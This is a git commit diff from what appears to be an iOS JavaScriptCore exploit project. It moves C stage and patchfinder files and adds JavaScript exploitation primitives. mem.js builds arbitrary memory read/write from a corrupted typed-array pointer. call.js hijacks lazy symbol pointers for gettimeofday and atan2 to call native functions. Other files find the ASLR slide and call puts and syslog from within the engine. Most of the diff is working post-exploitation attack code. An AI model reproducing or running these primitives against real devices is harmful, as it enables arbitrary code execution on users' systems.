summaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
Diffstat (limited to 'src')
-rw-r--r--src/gen/common.h (renamed from src/common.h)0
-rw-r--r--src/gen/ip_tools.c (renamed from src/ip_tools.c)0
-rw-r--r--src/gen/ip_tools.h (renamed from src/ip_tools.h)0
-rw-r--r--src/gen/main.c (renamed from src/main.c)0
-rw-r--r--src/gen/patchfinder.c (renamed from src/patchfinder.c)0
-rw-r--r--src/gen/patchfinder.h (renamed from src/patchfinder.h)0
-rw-r--r--src/gen/shit.c (renamed from src/shit.c)62
-rw-r--r--src/gen/shit.h (renamed from src/shit.h)10
-rw-r--r--src/gen/stage0_primitives.c (renamed from src/stage0_primitives.c)0
-rw-r--r--src/gen/stage0_primitives.h (renamed from src/stage0_primitives.h)0
-rw-r--r--src/gen/stage1_primitives.c (renamed from src/stage1_primitives.c)0
-rw-r--r--src/gen/stage1_primitives.h (renamed from src/stage1_primitives.h)0
-rw-r--r--src/gen/stage2.c (renamed from src/stage2.c)0
-rw-r--r--src/gen/stage2.h (renamed from src/stage2.h)0
-rw-r--r--src/js/call.js52
-rw-r--r--src/js/int64.js169
-rw-r--r--src/js/libu8.js56
-rw-r--r--src/js/main.js58
-rw-r--r--src/js/mem.js186
-rw-r--r--src/js/str.js113
-rw-r--r--src/js/utils.js78
21 files changed, 748 insertions, 36 deletions
diff --git a/src/common.h b/src/gen/common.h
index 9550400..9550400 100644
--- a/src/common.h
+++ b/src/gen/common.h
diff --git a/src/ip_tools.c b/src/gen/ip_tools.c
index 6e36b64..6e36b64 100644
--- a/src/ip_tools.c
+++ b/src/gen/ip_tools.c
diff --git a/src/ip_tools.h b/src/gen/ip_tools.h
index a011094..a011094 100644
--- a/src/ip_tools.h
+++ b/src/gen/ip_tools.h
diff --git a/src/main.c b/src/gen/main.c
index 3c8d513..3c8d513 100644
--- a/src/main.c
+++ b/src/gen/main.c
diff --git a/src/patchfinder.c b/src/gen/patchfinder.c
index 7464d70..7464d70 100644
--- a/src/patchfinder.c
+++ b/src/gen/patchfinder.c
diff --git a/src/patchfinder.h b/src/gen/patchfinder.h
index 21af7e3..21af7e3 100644
--- a/src/patchfinder.h
+++ b/src/gen/patchfinder.h
diff --git a/src/shit.c b/src/gen/shit.c
index ef354d4..6e6c5c5 100644
--- a/src/shit.c
+++ b/src/gen/shit.c
@@ -1,32 +1,32 @@
-#include <stdarg.h>
-#include "common.h"
-#include <stdio.h>
-#include "shit.h"
-
-extern FILE* fp;
-
-int _asprintf(char **strp, const char *fmt, ...) {
- va_list ap;
- char* tmp = NULL;
-
- *strp = "";
-
- /*
- * shit
- */
-
- va_start(ap, fmt);
- vfprintf(fp, fmt, ap);
- va_end(ap);
-
-#if 0
- strcpy(fuck_memory_leaks, tmp);
-
- if (strp)
- *strp = fuck_memory_leaks;
-
- free(tmp);
-#endif
-
- return 0;
+#include <stdarg.h>
+#include "common.h"
+#include <stdio.h>
+#include "shit.h"
+
+extern FILE* fp;
+
+int _asprintf(char **strp, const char *fmt, ...) {
+ va_list ap;
+ char* tmp = NULL;
+
+ *strp = "";
+
+ /*
+ * shit
+ */
+
+ va_start(ap, fmt);
+ vfprintf(fp, fmt, ap);
+ va_end(ap);
+
+#if 0
+ strcpy(fuck_memory_leaks, tmp);
+
+ if (strp)
+ *strp = fuck_memory_leaks;
+
+ free(tmp);
+#endif
+
+ return 0;
} \ No newline at end of file
diff --git a/src/shit.h b/src/gen/shit.h
index d97a995..aaa4b7f 100644
--- a/src/shit.h
+++ b/src/gen/shit.h
@@ -1,6 +1,6 @@
-#ifndef SHIT_H
-#define SHIT_H
-
-int _asprintf(char **strp, const char *fmt, ...);
-
+#ifndef SHIT_H
+#define SHIT_H
+
+int _asprintf(char **strp, const char *fmt, ...);
+
#endif \ No newline at end of file
diff --git a/src/stage0_primitives.c b/src/gen/stage0_primitives.c
index b54cb1a..b54cb1a 100644
--- a/src/stage0_primitives.c
+++ b/src/gen/stage0_primitives.c
diff --git a/src/stage0_primitives.h b/src/gen/stage0_primitives.h
index a9a71eb..a9a71eb 100644
--- a/src/stage0_primitives.h
+++ b/src/gen/stage0_primitives.h
diff --git a/src/stage1_primitives.c b/src/gen/stage1_primitives.c
index ffe7b53..ffe7b53 100644
--- a/src/stage1_primitives.c
+++ b/src/gen/stage1_primitives.c
diff --git a/src/stage1_primitives.h b/src/gen/stage1_primitives.h
index d6b9c33..d6b9c33 100644
--- a/src/stage1_primitives.h
+++ b/src/gen/stage1_primitives.h
diff --git a/src/stage2.c b/src/gen/stage2.c
index 8b98a7e..8b98a7e 100644
--- a/src/stage2.c
+++ b/src/gen/stage2.c
diff --git a/src/stage2.h b/src/gen/stage2.h
index 0c7b62b..0c7b62b 100644
--- a/src/stage2.h
+++ b/src/gen/stage2.h
diff --git a/src/js/call.js b/src/js/call.js
new file mode 100644
index 0000000..c766b1a
--- /dev/null
+++ b/src/js/call.js
@@ -0,0 +1,52 @@
+var gettimeofday_lazy_addy = 0x34d63d3c;
+var atan2_lazy_addy = 0x346afc84;
+var reserve_addr = 0x1a0000;
+var slide = 0x0;
+var base = 0x0;
+//var slid = 0x0;
+
+function get_dyld_shc_slide() {
+ return read_u32((slide << 12) + reserve_addr + 20);
+}
+
+function call(addy) {
+ var dyld_shc_slide = get_dyld_shc_slide();
+ var tmp = read_u32(gettimeofday_lazy_addy + dyld_shc_slide);
+ write_u32(gettimeofday_lazy_addy + dyld_shc_slide, addy);
+ var d = new Date();
+ write_u32(gettimeofday_lazy_addy + dyld_shc_slide, tmp);
+}
+
+function call4arg(addy, r0, r1, r2, r3) {
+ var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8));
+ var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8));
+
+ arg1d = arg1.asDouble();
+ arg2d = arg2.asDouble();
+
+ delete arg1;
+ delete arg2;
+
+ var dyld_shc_slide = get_dyld_shc_slide();
+
+ tmp = read_u32(atan2_lazy_addy + dyld_shc_slide);
+ write_u32(atan2_lazy_addy + dyld_shc_slide, addy);
+ ret = Math.atan2(arg1d, arg2d);
+ write_u32(atan2_lazy_addy + dyld_shc_slide, tmp);
+
+ delete tmp;
+ delete arg1d;
+ delete arg2d;
+
+ return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0;
+}
+
+/*
+ * call with symbol
+ */
+function calls4arg(sym, r0, r1, r2, r3) {
+ var dlsym_addy = read_u32(reserve_addr + 24 + slid);
+ var shc_slide = read_u32(reserve_addr + 20 + slid);
+ var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0);
+ return call4arg(addy, r0, r1, r2, r3);
+}
diff --git a/src/js/int64.js b/src/js/int64.js
new file mode 100644
index 0000000..1ef5910
--- /dev/null
+++ b/src/js/int64.js
@@ -0,0 +1,169 @@
+//
+// Tiny module that provides big (64bit) integers.
+//
+// Copyright (c) 2016 Samuel Groß
+//
+// Requires utils.js
+//
+
+// Datatype to represent 64-bit integers.
+//
+// Internally, the integer is stored as a Uint8Array in little endian byte order.
+function Int64(v) {
+ // The underlying byte array.
+ var bytes = new Uint8Array(8);
+
+ switch (typeof v) {
+ case 'number':
+ v = '0x' + Math.floor(v).toString(16);
+ case 'string':
+ if (v.startsWith('0x'))
+ v = v.substr(2);
+ if (v.length % 2 == 1)
+ v = '0' + v;
+
+ var bigEndian = unhexlify(v, 8);
+ bytes.set(Array.from(bigEndian).reverse());
+ break;
+ case 'object':
+ if (v instanceof Int64) {
+ bytes.set(v.bytes());
+ } else {
+ if (v.length != 8)
+ throw TypeError("Array must have excactly 8 elements.");
+ bytes.set(v);
+ }
+ break;
+ case 'undefined':
+ break;
+ default:
+ throw TypeError("Int64 constructor requires an argument.");
+ }
+
+ // Return a double whith the same underlying bit representation.
+ this.asDouble = function() {
+ // Check for NaN
+ if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
+ throw new RangeError("Integer can not be represented by a double");
+
+ return Struct.unpack(Struct.float64, bytes);
+ };
+
+ // Return a javascript value with the same underlying bit representation.
+ // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
+ // due to double conversion constraints.
+ this.asJSValue = function() {
+ if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
+ throw new RangeError("Integer can not be represented by a JSValue");
+
+ // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
+ this.assignSub(this, 0x1000000000000);
+ var res = Struct.unpack(Struct.float64, bytes);
+ this.assignAdd(this, 0x1000000000000);
+
+ return res;
+ };
+
+ // Return the underlying bytes of this number as array.
+ this.bytes = function() {
+ return Array.from(bytes);
+ };
+
+ // Return the byte at the given index.
+ this.byteAt = function(i) {
+ return bytes[i];
+ };
+
+ // Return the value of this number as unsigned hex string.
+ this.toString = function() {
+ return '0x' + hexlify(Array.from(bytes).reverse());
+ };
+
+ // Basic arithmetic.
+ // These functions assign the result of the computation to their 'this' object.
+
+ // Decorator for Int64 instance operations. Takes care
+ // of converting arguments to Int64 instances if required.
+ function operation(f, nargs) {
+ return function() {
+ if (arguments.length != nargs)
+ throw Error("Not enough arguments for function " + f.name);
+ for (var i = 0; i < arguments.length; i++)
+ if (!(arguments[i] instanceof Int64))
+ arguments[i] = new Int64(arguments[i]);
+ return f.apply(this, arguments);
+ };
+ }
+
+ // this = -n (two's complement)
+ this.assignNeg = operation(function neg(n) {
+ for (var i = 0; i < 8; i++)
+ bytes[i] = ~n.byteAt(i);
+
+ return this.assignAdd(this, Int64.One);
+ }, 1);
+
+ // this = a + b
+ this.assignAdd = operation(function add(a, b) {
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = a.byteAt(i) + b.byteAt(i) + carry;
+ carry = cur > 0xff | 0;
+ bytes[i] = cur;
+ }
+ return this;
+ }, 2);
+
+ // this = a - b
+ this.assignSub = operation(function sub(a, b) {
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = a.byteAt(i) - b.byteAt(i) - carry;
+ carry = cur < 0 | 0;
+ bytes[i] = cur;
+ }
+ return this;
+ }, 2);
+
+ // this = a ^ b
+ this.assignXor = operation(function sub(a, b) {
+ for (var i = 0; i < 8; i++) {
+ bytes[i] = a.byteAt(i) ^ b.byteAt(i);
+ }
+ return this;
+ }, 2);
+}
+
+// Constructs a new Int64 instance with the same bit representation as the provided double.
+Int64.fromDouble = function(d) {
+ var bytes = Struct.pack(Struct.float64, d);
+ return new Int64(bytes);
+};
+
+// Convenience functions. These allocate a new Int64 to hold the result.
+
+// Return -n (two's complement)
+function Neg(n) {
+ return (new Int64()).assignNeg(n);
+}
+
+// Return a + b
+function Add(a, b) {
+ return (new Int64()).assignAdd(a, b);
+}
+
+// Return a - b
+function Sub(a, b) {
+ return (new Int64()).assignSub(a, b);
+}
+
+// Return a ^ b
+function Xor(a, b) {
+ return (new Int64()).assignXor(a, b);
+}
+
+// Some commonly used numbers.
+Int64.Zero = new Int64(0);
+Int64.One = new Int64(1);
+
+// That's all the arithmetic we need for exploiting WebKit.. :)
diff --git a/src/js/libu8.js b/src/js/libu8.js
new file mode 100644
index 0000000..b619fd8
--- /dev/null
+++ b/src/js/libu8.js
@@ -0,0 +1,56 @@
+/*
+ * turn a uint32_t into a little-endian 4 byte array
+ */
+function u32_to_u8x4(val) {
+ u8x4 = new Uint8Array(0x4);
+
+ val_ = val >>> 0;
+
+ u8x4[0] = ((val_ >> 0) & 0xff);
+ u8x4[1] = ((val_ >> 8) & 0xff);
+ u8x4[2] = ((val_ >> 16) & 0xff);
+ u8x4[3] = ((val_ >> 24) & 0xff);
+
+ return u8x4;
+}
+
+/*
+ * turn a uint16_t into a little-endian 2 byte array
+ */
+function u16_to_u8x2(val) {
+ u8x2 = new Uint8Array(0x2);
+
+ val_ = val >>> 0;
+
+ u8x2[0] = ((val_ >> 0) & 0xff);
+ u8x2[1] = ((val_ >> 8) & 0xff);
+
+ return u8x2;
+}
+
+/*
+ * turn a little-endian 4 byte array into a uint32_t
+ */
+function u8x4_to_u32(buf) {
+ u32 = 0x0;
+
+ u32 += (buf[0] << 0);
+ u32 += (buf[1] << 8);
+ u32 += (buf[2] << 16);
+ u32 += (buf[3] << 24);
+
+ return u32 >>> 0;
+}
+
+/*
+ * turn a little-endian 2 byte array into a uint16_t
+ */
+function u8x2_to_u16(buf) {
+ u16 = 0x0;
+
+ u16 += (buf[0] << 0);
+ u16 += (buf[1] << 8);
+
+ return u16 >>> 0;
+
+}
diff --git a/src/js/main.js b/src/js/main.js
new file mode 100644
index 0000000..dd7f1f0
--- /dev/null
+++ b/src/js/main.js
@@ -0,0 +1,58 @@
+/*
+ * november 24th 2021
+ * [3:16 PM] spv: spice confuses the shit out of me, so i'm prolly not smart enough to implement it anyway
+ *
+ * ohai
+ */
+
+var MAX_SLIDE = 0x3;
+var MIN_SLIDE = 0x1;
+
+try {
+ log("we out here in jsc");
+} catch (e) {
+ /*
+ * we don't have log. :(
+ */
+
+ log = function (){};
+}
+
+function main() {
+ /*
+ * get slide and calculate slid base
+ * remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's
+ *
+ * so, take the slide, shift it by 12 bits (aslr is calc'd by taking a
+ * random byte and shifting it 12 bits, in this case the page size, 4096
+ * (0x1000) bytes), and add it to the unslid base.
+ */
+
+ slide = get_our_slide();
+ base = 0x4000 + (slide << 12);
+ slid = (slide << 12);
+
+ init_sptr_heap();
+
+ calls4arg("puts\0", sptr("we out here\0"), 0, 0, 0);
+
+ log("slide=0x" + slide.toString(16));
+ log("*(uint8_t*)base = 0x" + read_u8(base).toString(16));
+ log("*(uint16_t*)base = 0x" + read_u16(base).toString(16));
+ log("*(uint32_t*)base = 0x" + read_u32(base).toString(16));
+
+ predicted_jsobject_addy = 0x422200;
+ buf = read_buf(predicted_jsobject_addy, 0x200);
+
+ log("hexdump of predicted jsobject loc:");
+ log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x"));
+
+ var i = 0;
+ while (true) {
+ calls4arg("syslog\0", 0x28, sptr("get rekt from jsc %d (slide=%x)\n\0"), i, 0);
+ calls4arg("sleep", 0, 0, 0, 0);
+ i++;
+ }
+
+ log("still alive");
+};
diff --git a/src/js/mem.js b/src/js/mem.js
new file mode 100644
index 0000000..6c30376
--- /dev/null
+++ b/src/js/mem.js
@@ -0,0 +1,186 @@
+var shit_status = 0x144444;
+var global_sptr_addy = 0;
+var VECTOR_OFFSET = 0x10;
+var sptr_size = 0;
+var sptr_len = 0;
+
+/*
+ * read uint8_t
+ */
+function read_u8(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ /*
+ * `parent` is a Uint8Array of length 0x100.
+ * `child` is also a Uint8Array of length 0x100.
+ * `parent`'s `vector`, its pointer to where its data is stored, has been
+ * modified to point to the `child` object in memory.
+ * as such, accessing `parent` will allow for modifying the `child` object.
+ *
+ * the way this is used is by writing to `child`'s `vector` so it points to
+ * arbitrary memory. then, we can access `child`, and we now have arbitrary
+ * r/w
+ */
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return child[0];
+}
+
+/*
+ * read uint16_t
+ */
+function read_u16(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x2_to_u16(child);
+
+}
+
+/*
+ * read uint32_t
+ */
+function read_u32(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x4_to_u32(child);
+}
+
+/*
+ * read a buffer
+ */
+function read_buf(addy, len) {
+ var buf = new Uint8Array(len);
+
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ buf[cur_addy - addy] = read_u8(cur_addy);
+ }
+
+ return buf;
+}
+
+/*
+ * write a buffer
+ */
+function write_buf(addy, buf, len) {
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ write_u8(cur_addy, buf[cur_addy - addy]);
+ }
+
+ return buf;
+}
+
+/*
+ * write uint8_t
+ */
+function write_u8(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ child[0] = what;
+}
+
+/*
+ * write uint16_t
+ */
+function write_u16(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x2 = u16_to_u8x2(what);
+ child[0] = u8x2[0];
+ child[1] = u8x2[1];
+}
+
+/*
+ * write uint32_t
+ */
+function write_u32(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x4 = u32_to_u8x4(what);
+ child[0] = u8x4[0];
+ child[1] = u8x4[1];
+ child[2] = u8x4[2];
+ child[3] = u8x4[3];
+}
+
+/*
+ * get process slide
+ */
+function get_our_slide() {
+ for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
+ if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
+ return slide;
+ }
+ }
+}
+
+/*
+ * write str to addy
+ */
+function write_str(addy, s) {
+ for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
+ write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
+ }
+
+ return s;
+}
+
+function init_sptr_heap() {
+ var dlsym_addy = read_u32(reserve_addr + 24 + slid);
+ var shc_slide = read_u32(reserve_addr + 20 + slid);
+ write_str(0x150000, "malloc\0");
+ var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0);
+ global_sptr_addy = call4arg(addy, 0x1000000, 0, 0, 0);
+ sptr_size = 0x1000000;
+ sptr_len = 0;
+
+ calls4arg("printf\0", sptr("sptr_heap=%p\n\0"), global_sptr_addy, 0, 0);
+
+ return global_sptr_addy;
+}
+
+/*
+ * sptr is meant to give you a pointer to a specified string
+ * remember your nul's!
+ */
+function sptr(s) {
+ if ((sptr_len + s.length) >= sptr_size) {
+ var dlsym_addy = read_u32(reserve_addr + 24 + slid);
+ var shc_slide = read_u32(reserve_addr + 20 + slid);
+ write_str(0x150000, "realloc\0");
+ var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0);
+ global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size + 0x100000, 0, 0);
+ sptr_size += 0x100000;
+ }
+ write_str(global_sptr_addy, s);
+ global_sptr_addy += s.length;
+ return global_sptr_addy - s.length;
+} \ No newline at end of file
diff --git a/src/js/str.js b/src/js/str.js
new file mode 100644
index 0000000..31621bf
--- /dev/null
+++ b/src/js/str.js
@@ -0,0 +1,113 @@
+/*
+ * currently unused (iirc) garbage
+ * basically just prints an address than the uint32_t there, and then +4, etc
+ */
+function prim_dump_u32(buf) {
+ s = "";
+
+ for (var i = 0; i < buf.length; i += 4) {
+ tmp = [];
+
+ tmp.push(buf[i + 0]);
+ tmp.push(buf[i + 1]);
+ tmp.push(buf[i + 2]);
+ tmp.push(buf[i + 3]);
+
+ s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8);
+ s += ": ";
+ s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8);
+ if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) {
+ s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8);
+ s += "\n";
+ val = read_u32(u8x4_to_u32(tmp));
+ if (val >= 0x1800000 && val < 0x1900000) {
+ buf = read_buf(val, 0x100);
+ s += (hexdump(buf, 8, 2, val, 8, "0x"));
+ }
+ }
+ s += "\n";
+ }
+
+ return s;
+}
+
+/*
+ * pad str to n chars with c chars to the left
+*/
+function pad_left(s, c, n) {
+ s_ = s;
+
+ if (s_.length < n) {
+ s_ = c.repeat(n - s_.length) + s_;
+ }
+
+ return s_;
+}
+
+/*
+ * convert ASCII str to uint8array (unicode be damned)
+ */
+function str_to_uint8_buf(s) {
+ buf = new Uint8Array(s.length);
+
+ for (i = 0; i < s.length; i++) {
+ buf[i] = s.charCodeAt(i);
+ }
+
+ return buf;
+}
+
+/*
+ * HOLY UGLY BATMAN!
+ */
+function hexdump(buf, cols, col_split, base, pad_base, base_prefix) {
+ s = "";
+ if (buf.constructor != Uint8Array) {
+ buf = str_to_uint8_buf(buf);
+ }
+
+ for (i = 0; i < buf.length; i += (cols * col_split)) {
+ cur_base = base + i;
+ s += base_prefix + pad_left(cur_base.toString(16), "0", pad_base) + ": ";
+ for (j = i; j < (i + (cols * col_split)); j += col_split) {
+ for (k = j; k < (j + col_split); k++) {
+ val = buf[k];
+ try {
+ s += pad_left(val.toString(16), "0", 2);
+ } catch (e) {
+ s += " ";
+ }
+ }
+ s += " ";
+ }
+
+ for (j = i; j < (i + (cols * col_split)); j++) {
+ val = buf[j];
+
+ if (val < 0x20 || val >= 0x80) {
+ val = 0x2e; // period
+ }
+
+ chr = String.fromCharCode(val);
+ s += chr;
+ }
+
+ s += "\n";
+ }
+
+ return s;
+}
+
+/*
+ * HEX SHIT
+ */
+function prim_hexdump(buf) {
+ s = "";
+
+ for (i = 0; i < buf.length; i++) {
+ val = buf[i];
+ s += pad_left(val.toString(16), "0", 2);
+ }
+
+ return s;
+}
diff --git a/src/js/utils.js b/src/js/utils.js
new file mode 100644
index 0000000..361e71d
--- /dev/null
+++ b/src/js/utils.js
@@ -0,0 +1,78 @@
+//
+// Utility functions.
+//
+// Copyright (c) 2016 Samuel Groß
+//
+
+// Return the hexadecimal representation of the given byte.
+function hex(b) {
+ return ('0' + b.toString(16)).substr(-2);
+}
+
+// Return the hexadecimal representation of the given byte array.
+function hexlify(bytes) {
+ var res = [];
+ for (var i = 0; i < bytes.length; i++)
+ res.push(hex(bytes[i]));
+
+ return res.join('');
+}
+
+// Return the binary data represented by the given hexdecimal string.
+function unhexlify(hexstr) {
+ if (hexstr.length % 2 == 1)
+ throw new TypeError("Invalid hex string");
+
+ var bytes = new Uint8Array(hexstr.length / 2);
+ for (var i = 0; i < hexstr.length; i += 2)
+ bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
+
+ return bytes;
+}
+
+function hexdump(data) {
+ if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
+ data = Array.from(data);
+
+ var lines = [];
+ for (var i = 0; i < data.length; i += 16) {
+ var chunk = data.slice(i, i+16);
+ var parts = chunk.map(hex);
+ if (parts.length > 8)
+ parts.splice(8, 0, ' ');
+ lines.push(parts.join(' '));
+ }
+
+ return lines.join('\n');
+}
+
+// Simplified version of the similarly named python module.
+var Struct = (function() {
+ // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
+ var buffer = new ArrayBuffer(8);
+ var byteView = new Uint8Array(buffer);
+ var uint32View = new Uint32Array(buffer);
+ var float64View = new Float64Array(buffer);
+
+ return {
+ pack: function(type, value) {
+ var view = type; // See below
+ view[0] = value;
+ return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
+ },
+
+ unpack: function(type, bytes) {
+ if (bytes.length !== type.BYTES_PER_ELEMENT)
+ throw Error("Invalid bytearray");
+
+ var view = type; // See below
+ byteView.set(bytes);
+ return view[0];
+ },
+
+ // Available types.
+ int8: byteView,
+ int32: uint32View,
+ float64: float64View
+ };
+})();